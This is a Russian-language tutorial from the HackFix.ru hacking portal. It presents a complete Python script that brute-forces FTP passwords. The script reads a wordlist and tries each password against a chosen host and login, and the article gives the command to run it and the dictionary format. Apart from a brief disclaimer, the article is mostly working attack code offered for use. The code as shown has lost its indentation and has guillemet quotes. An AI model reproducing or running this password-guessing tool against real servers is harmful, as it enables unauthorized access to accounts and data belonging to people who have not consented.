______________________________________________________________________________________________________________

HackFix.ru - информационный портал,рассказывающий о событиях в области защиты информации,
взломах,инструментах аудита,программировании для пентестеров!

Программирование на Python: Брутим FTP.

!!!Важно!!!
Вся информация предоставлена исключительно в ознакомительных целях. Ни автор, ни администрация портала не несут ответственности за любой возможный вред, причиненный материалами данной статьи.Применение в корыстных целях карается законодательством РФ.

hackfix.ru

В данной статье рассмотрим пример программы на Python, предназначенную для подбора пароля
FTP при условии что Вам известен логин. FTP (англ. File Transfer Protocol — протокол передачи файлов) — стандартный
протокол, предназначенный для передачи файлов по TCP-сетям (например, Интернет). Использует 21-й порт.
FTP часто используется для загрузки сетевых страниц и других документов с частного устройства разработки
на открытые сервера хостинга.

Код программы:

import ftplib
import sys

class FTPServer:
def force(self, host=»», user=»», dictionary=»», callback=None):
if host != «»:
try:
if callback != None:
print(«»)
for passwd in open(dictionary, «r»):
usr = user.strip()
pwd = passwd.strip()
if callback != None:
callback(host + » >> » + usr + «:» + pwd)
try:
ftp = ftplib.FTP(host, usr, pwd)
ftp.quit()
if callback != None:
print(«»)
return [host, usr, pwd]
except:
pass
except:
return False
else:
return False
def data(data):
print (data)
ftp = FTPServer()
host = sys.argv[1]
user = sys.argv[2]
file = sys.argv[3]
result = ftp.force(host, user, file, data)
if result != False:
print («Host: » + result[0])
print («User: » + result[1])
print («Pass: » + result[2])
else:
print («\n[!] Error.»)

 

Программа c помощью модуля

ftplib

(подключаем в начале программы),создает обьект
представляющий собой FTP соединение с указанным нами хостом и аргументами пользователь\пароль.
При удачном подключении программа выдаст результат с нужным паролем для подключения.
Для запуска программы нам необходимо указать следующие
1.Хост-это может быть IP или название домена.В этом примере мы используем ftp.hackfix.ru
2.Логин пользователя
3.Словарь с паролями

Структура словаря следущая:(обычный TXT файл)
password1
password2
password3
password4
password5
password6
password7

Команда для запуска:

python bfs.py ftp.hackfix.ru userlogin c:\HACKFIX\pass.txt

hackfix.ru

Добавить комментарий

Ваш e-mail не будет опубликован.

______________________________________________________________________________________________________________
^ Наверх